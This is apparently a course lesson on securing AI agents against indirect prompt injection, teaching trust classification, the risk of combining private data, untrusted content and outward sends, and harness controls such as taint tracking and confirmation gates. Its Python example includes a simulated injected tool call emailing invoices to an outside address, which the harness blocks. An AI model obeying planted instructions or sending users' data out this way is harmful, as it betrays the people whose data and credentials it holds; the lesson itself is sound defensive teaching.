Security & Control · 45 min
Every Tool Is an Attack Surface: Permissions, Untrusted Output, and Confirmation Gates
The attack goes through the tools
Securing an AI agent mostly means securing its tools. This lesson covers indirect prompt injection and the confused-deputy problem it creates, how to classify what enters the model's context by trust, which combination of tools makes data theft possible, and four controls to enforce in the harness: least privilege, removing choices the model doesn't need, tracking what a run has read, and confirmation gates on irreversible calls.
Discussion of AI security tends to focus on the model: can it be tricked into saying something it shouldn't? For an agent, that's the smaller problem. An agent has tools, and tools come with credentials — to the billing system, the file system, the email account. The larger problem is text that reaches the model through one of those tools and gets it to use them on someone else's behalf.
AI401 introduced this as indirect prompt injection (OWASP LLM01:2025): instructions that arrive inside a retrieved document or a tool response rather than through the user's message. For an agent it becomes a confused deputy problem. The agent holds your permissions; the attacker supplies the intent; the agent carries it out, because from the model's point of view the instruction is just more text in its context. OWASP's MCP Top 10 describes the same thing as intent flow subversion (MCP06:2025): content retrieved as context acting as a second channel of instructions that steers the agent away from the user's goal.
This lesson is written for the engineer building the agent. The main defences are architectural — about what the agent can reach and what the harness allows — because the one defence people reach for first isn't enough on its own: telling the model to ignore malicious instructions. That hardening does help. In the INFUSE benchmark (2026), explicit anti-injection instructions repeated after every tool result sharply cut attack success on a stress-test set, though about one attack in seven still landed there. But prompt-level defences that look strong against fixed attacks have fallen to attackers who adapt (The Attacker Moves Second, 2025), and a model can't reliably tell an instruction that belongs in its context from one that doesn't. So add the hardening, and don't let it be the only thing between an injected instruction and an irreversible action. An input filter on the user's message doesn't help here either: it never sees text the attacker put in a document.
Where the trust boundaries are
Start by classifying everything that enters the model's context by who controls it:
- Trusted: your system prompt, your tool definitions, your harness's own messages.
- Partly trusted: the user. They're authorised to ask for things, within their own permissions.
- Untrusted: everything else — retrieved documents, web pages, emails, ticket comments, file contents, API responses, tool descriptions from third-party MCP servers, and memories that were written from any of these.
The last category is where agents get most of their value, and it's large. A support agent that reads help-centre articles and customer emails is processing untrusted text on nearly every run.
The dangerous combination
An injected instruction can only do harm through the tools the agent has. The combination to watch for — Simon Willison calls it the lethal trifecta — is an agent that, in the same run, can read private data, is exposed to untrusted content, and can send data out (email, HTTP requests, even a link with data in its URL). With all three, one poisoned document can make the agent collect private data and send it to the attacker. Remove any one of the three for a given run and that particular attack no longer works.
That gives you the design question for every agent: which runs combine all three, and how do you break the combination?
Four controls in the harness
1. Least privilege, per tool and per task. Give each tool the narrowest credential that does its job: read-only where it only reads, scoped to the current tenant, short-lived. An MCP server should use its own credentials for downstream APIs — the MCP specification forbids passing a client's token straight through to another service. Review scopes periodically: OWASP lists privilege escalation via scope creep (MCP02:2025) because permissions granted "temporarily" tend to stay.
2. Remove choices the model doesn't need. If the agent only ever replies to the customer on the ticket, give it reply_to_ticket(body) with the recipient fixed by the harness, not send_email(to, body). A parameter the model can't set is a parameter an injected instruction can't set either.
3. Track what the run has read, and restrict what it can do afterwards. Once the agent has read untrusted content in a run, block or require confirmation for tools that send data outward. This is enforced in code, outside the model:
POLICY = {
"search_kb": {"reads_untrusted": True},
"get_invoices": {"reads_private": True},
"reply_to_ticket": {}, # recipient fixed by the harness
"send_email": {"sends_out": True},
"issue_refund": {"irreversible": True, "confirm_above_cents": 50000},
}
INTERNAL = "@nimbus.example"
def authorize(call, state):
tool, args, rules = call["tool"], call["args"], POLICY[call["tool"]]
if rules.get("sends_out") and state["tainted"] and not args["to"].endswith(INTERNAL):
return "deny", "untrusted content was read in this run; external send blocked"
if rules.get("irreversible") and args["amount_cents"] > rules["confirm_above_cents"]:
return "confirm", "irreversible and above the auto-approve limit"
return "allow", ""
def observe(call, state):
if POLICY[call["tool"]].get("reads_untrusted"):
state["tainted"] = True
# Tool calls proposed by an agent that has just read a poisoned help-centre article
proposed = [
{"tool": "search_kb", "args": {"query": "duplicate charge refund"}},
{"tool": "get_invoices", "args": {"customer_id": "C-1042"}},
{"tool": "send_email", "args": {"to": "archive@billing-backup.example", "body": "<invoices>"}},
{"tool": "issue_refund", "args": {"invoice_id": "INV-2291", "amount_cents": 360000}},
{"tool": "reply_to_ticket", "args": {"body": "Your refund is awaiting approval."}},
]
state = {"tainted": False}
for call in proposed:
decision, why = authorize(call, state)
print(f"{call['tool']:<16} {decision:<8} {why}")
if decision == "allow":
observe(call, state)
search_kb allow
get_invoices allow
send_email deny untrusted content was read in this run; external send blocked
issue_refund confirm irreversible and above the auto-approve limit
reply_to_ticket allow
The agent was manipulated — it proposed sending invoices to an outside address — and the harness didn't need to detect the manipulation to stop it. That's the property you want: controls that hold whether or not the model has been fooled.
4. Confirmation gates on irreversible calls — and only those. A person approves before money moves, data is deleted, or anything leaves the organisation. Show the exact tool inputs, not the model's description of them: the MCP specification recommends showing tool inputs to the user before calling the server, to avoid malicious or accidental data exfiltration. AI401's human-in-the-loop lesson explains the limit: gate everything and people approve without reading. Gate the irreversible, high-impact calls and make those approvals meaningful.
Two more practices complete the picture. Log every tool call with its inputs and decision (OWASP MCP08:2025 lists missing audit telemetry as a risk in its own right). And treat MCP servers and skills as dependencies — pinned versions, reviewed changes — because a compromised server or a poisoned tool description reaches the model with no attacker needing to touch your data at all.
What the debug lab shows
The lab's agent answers billing tickets using a help-centre search tool. One article in the knowledge base contains a planted instruction, and the agent follows it. You'll trace the failure to the harness (not the prompt), add taint tracking and a fixed-recipient reply tool, gate the irreversible call, and confirm that the attack now fails even though the model still proposes it.
Summary: For agents, prompt injection is a confused-deputy problem: untrusted text in documents and tool output directs tools that hold your credentials. Classify every context source by trust, watch for runs that combine private data, untrusted content and outward actions, and enforce controls in the harness — least-privilege credentials, parameters the model can't set, blocking outward sends after untrusted reads, and confirmation gates on irreversible calls — so they hold even when the model is fooled.
Next: Loop depth, tool budgets, and measuring cost per resolved task rather than cost per call.
Knowledge check
5 questions · pass with 70% or better